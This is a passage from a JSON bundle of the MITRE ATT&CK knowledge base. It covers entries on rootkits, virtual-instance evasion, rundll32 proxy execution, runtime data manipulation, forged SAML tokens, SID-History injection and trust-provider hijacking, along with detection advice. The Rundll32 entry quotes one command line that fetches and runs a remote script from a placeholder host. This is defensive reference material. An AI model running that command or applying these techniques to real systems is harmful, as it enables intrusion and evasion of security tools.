            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-02-09T15:13:27.670Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\n\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\n\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)\n\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \u201cGC/\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\u20134B06\u201311D1-AB04\u201300C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.",
            "x_mitre_defense_bypassed": [
                "Log analysis"
            ],
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Object Creation",
                "Active Directory: Active Directory Object Modification",
                "Network Traffic: Network Traffic Content",
                "User Account: User Account Authentication"
            ],
            "x_mitre_contributors": [
                "Vincent Le Toux"
            ],
            "x_mitre_version": "2.0"
        },
        {
            "id": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Rootkit",
            "description": "Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1014",
                    "url": "https://attack.mitre.org/techniques/T1014"
                },
                {
                    "external_id": "CAPEC-552",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/552.html"
                },
                {
                    "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf",
                    "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
                    "source_name": "Symantec Windows Rootkits"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Rootkit",
                    "description": "Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.",
                    "source_name": "Wikipedia Rootkit"
                },
                {
                    "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/",
                    "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
                    "source_name": "CrowdStrike Linux Rootkit"
                },
                {
                    "url": "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf",
                    "description": "Pan, M., Tsai, S. (2014). You can\u2019t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017.",
                    "source_name": "BlackHat Mac OSX Rootkit"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-06-20T22:29:55.496Z",
            "created": "2017-05-31T21:30:26.496Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM",
                "root"
            ],
            "x_mitre_detection": "Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)",
            "x_mitre_defense_bypassed": [
                "File monitoring",
                "Host intrusion prevention systems",
                "Application control",
                "Signature-based detection",
                "System access controls",
                "Application control by file name or path",
                "Anti-virus"
            ],
            "x_mitre_data_sources": [
                "Drive: Drive Modification",
                "Firmware: Firmware Modification"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1564.006",
                    "url": "https://attack.mitre.org/techniques/T1564/006"
                },
                {
                    "source_name": "SingHealth Breach Jan 2019",
                    "url": "https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx",
                    "description": "Committee of Inquiry into the Cyber Attack on SingHealth. (2019, January 10). Public Report of the Committee of Inquiry into the Cyber Attack on Singapore Health Services Private Limited's Patient Database. Retrieved June 29, 2020."
                },
                {
                    "source_name": "Sophos Ragnar May 2020",
                    "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/",
                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Run Virtual Instance",
            "description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)",
            "id": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-07-06T19:03:40.330Z",
            "created": "2020-06-29T15:36:41.535Z",
            "x_mitre_detection": "Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a headless (in the background with no UI) virtual instance may be especially suspect. Network adapter information may also be helpful in detecting the use of virtual instances.\n\nIf virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \n\nBenign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.",
            "x_mitre_contributors": [
                "Janantha Marasinghe",
                "Menachem Shafran, XM Cyber"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Creation",
                "Command: Command Execution",
                "Service: Service Creation",
                "Windows Registry: Windows Registry Key Modification"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5",
            "name": "Rundll32",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1085",
                    "url": "https://attack.mitre.org/techniques/T1085"
                },
                {
                    "source_name": "Trend Micro CPL",
                    "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
                },
                {
                    "source_name": "This is Security Command Line Confusion",
                    "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.",
                    "url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-31T19:01:41.919Z",
            "created": "2017-05-31T21:31:06.045Z"
        },
        {
            "id": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)",
            "name": "Rundll32",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1218.011",
                    "url": "https://attack.mitre.org/techniques/T1218/011"
                },
                {
                    "source_name": "Trend Micro CPL",
                    "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
                },
                {
                    "source_name": "This is Security Command Line Confusion",
                    "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.",
                    "url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-01-20T18:12:11.843Z",
            "created": "2020-01-23T18:03:46.248Z",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_defense_bypassed": [
                "Digital Certificate Validation",
                "Application control",
                "Anti-virus"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Module: Module Load"
            ],
            "x_mitre_contributors": [
                "Casey Smith",
                "Ricardo Dias"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1494",
                    "url": "https://attack.mitre.org/techniques/T1494"
                },
                {
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "source_name": "FireEye APT38 Oct 2018"
                },
                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."
                }
            ],
            "name": "Runtime Data Manipulation",
            "id": "attack-pattern--ca205a36-c1ad-488b-aa6c-ab34bdd3a36b",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-02T14:30:49.400Z",
            "created": "2019-04-09T16:09:22.173Z"
        },
        {
            "created": "2020-03-02T14:30:05.252Z",
            "modified": "2020-03-28T23:10:34.359Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490",
            "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
            "name": "Runtime Data Manipulation",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1565.003",
                    "url": "https://attack.mitre.org/techniques/T1565/003"
                },
                {
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "source_name": "FireEye APT38 Oct 2018"
                },
                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "File: File Creation",
                "File: File Deletion",
                "File: File Modification",
                "File: File Metadata"
            ],
            "x_mitre_detection": "Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.",
            "x_mitre_impact_type": [
                "Integrity"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "root",
                "SYSTEM"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1606.002",
                    "url": "https://attack.mitre.org/techniques/T1606/002"
                },
                {
                    "source_name": "Microsoft SolarWinds Steps",
                    "url": "https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/",
                    "description": "Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020."
                },
                {
                    "source_name": "Microsoft SAML Token Lifetimes",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes",
                    "description": "Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020."
                },
                {
                    "source_name": "Cyberark Golden SAML",
                    "url": "https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps",
                    "description": "Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020."
                },
                {
                    "source_name": "Microsoft SolarWinds Customer Guidance",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020."
                },
                {
                    "source_name": "Sygnia Golden SAML",
                    "url": "https://www.sygnia.co/golden-saml-advisory",
                    "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "SAML Tokens",
            "description": "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\n\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)",
            "id": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2021-04-14T14:29:27.290Z",
            "created": "2020-12-17T15:24:12.240Z",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Web Credential: Web Credential Creation",
                "Web Credential: Web Credential Usage"
            ],
            "x_mitre_contributors": [
                "Blake Strom, Microsoft 365 Defender",
                "Oleg Kolesnikov, Securonix"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)\n\nConsider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)",
            "x_mitre_platforms": [
                "Azure AD",
                "SaaS",
                "Windows",
                "Office 365",
                "Google Workspace"
            ]
        },
        {
            "id": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d",
            "name": "SID-History Injection",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1178",
                    "url": "https://attack.mitre.org/techniques/T1178"
                },
                {
                    "source_name": "Microsoft SID",
                    "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx"
                },
                {
                    "url": "https://msdn.microsoft.com/library/ms679833.aspx",
                    "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.",
                    "source_name": "Microsoft SID-History Attribute"
                },
                {
                    "source_name": "Microsoft Well Known SIDs Jun 2017",
                    "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.",
                    "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems"
                },
                {
                    "source_name": "Microsoft Get-ADUser",
                    "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.",
                    "url": "https://technet.microsoft.com/library/ee617241.aspx"
                },
                {
                    "source_name": "AdSecurity SID History Sept 2015",
                    "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.",
                    "url": "https://adsecurity.org/?p=1772"
                },
                {
                    "url": "https://msdn.microsoft.com/library/ms677982.aspx",
                    "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.",
                    "source_name": "Microsoft DsAddSidHistory"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-18T18:35:21.493Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1134.005",
                    "url": "https://attack.mitre.org/techniques/T1134/005"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx",
                    "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
                    "source_name": "Microsoft SID"
                },
                {
                    "url": "https://msdn.microsoft.com/library/ms679833.aspx",
                    "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.",
                    "source_name": "Microsoft SID-History Attribute"
                },
                {
                    "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems",
                    "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.",
                    "source_name": "Microsoft Well Known SIDs Jun 2017"
                },
                {
                    "url": "https://technet.microsoft.com/library/ee617241.aspx",
                    "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.",
                    "source_name": "Microsoft Get-ADUser"
                },
                {
                    "url": "https://adsecurity.org/?p=1772",
                    "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.",
                    "source_name": "AdSecurity SID History Sept 2015"
                },
                {
                    "url": "https://msdn.microsoft.com/library/ms677982.aspx",
                    "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.",
                    "source_name": "Microsoft DsAddSidHistory"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "SID-History Injection",
            "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).",
            "id": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2021-02-09T15:49:58.414Z",
            "created": "2020-02-18T18:34:49.414Z",
            "x_mitre_contributors": [
                "Alain Homewood, Insomnia Security",
                "Vincent Le Toux"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_detection": "Examine data in user\u2019s SID-History attributes using the PowerShell <code>Get-ADUser</code> cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor for Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "User Account: User Account Metadata",
                "Active Directory: Active Directory Object Modification"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31",
            "name": "SIP and Trust Provider Hijacking",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1198",
                    "url": "https://attack.mitre.org/techniques/T1198"
                },
                {
                    "url": "https://msdn.microsoft.com/library/ms537359.aspx",
                    "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.",
                    "source_name": "Microsoft Authenticode"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx",
                    "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.",
                    "source_name": "Microsoft WinVerifyTrust"
                },
                {
                    "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf",
                    "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
                    "source_name": "SpectorOps Subverting Trust Sept 2017"
                },
                {
                    "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/",
                    "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.",
                    "source_name": "EduardosBlog SIPs July 2008"
                },
                {
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files",
                    "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.",
                    "source_name": "Microsoft Catalog Files and Signatures April 2017"
                },
                {
                    "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage",
                    "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.",
                    "source_name": "GitHub SIP POC Sept 2017"
                },
                {
                    "url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165",
                    "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.",
                    "source_name": "Entrust Enable CAPI2 Aug 2017"
                },
                {
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)",
                    "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.",
                    "source_name": "Microsoft Registry Auditing Aug 2016"
                },
                {
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)",
                    "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.",
                    "source_name": "Microsoft Audit Registry July 2012"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-05T19:35:58.954Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1553.003",
                    "url": "https://attack.mitre.org/techniques/T1553/003"
                },
                {
                    "url": "https://msdn.microsoft.com/library/ms537359.aspx",
                    "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.",
                    "source_name": "Microsoft Authenticode"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx",
                    "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.",
                    "source_name": "Microsoft WinVerifyTrust"
                },
                {
                    "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf",
                    "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
                    "source_name": "SpectorOps Subverting Trust Sept 2017"
                },
                {
                    "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/",
                    "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.",
                    "source_name": "EduardosBlog SIPs July 2008"
                },
                {
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files",
                    "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.",
                    "source_name": "Microsoft Catalog Files and Signatures April 2017"
                },
                {
                    "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage",
                    "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.",
                    "source_name": "GitHub SIP POC Sept 2017"
                },
                {
                    "url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165",
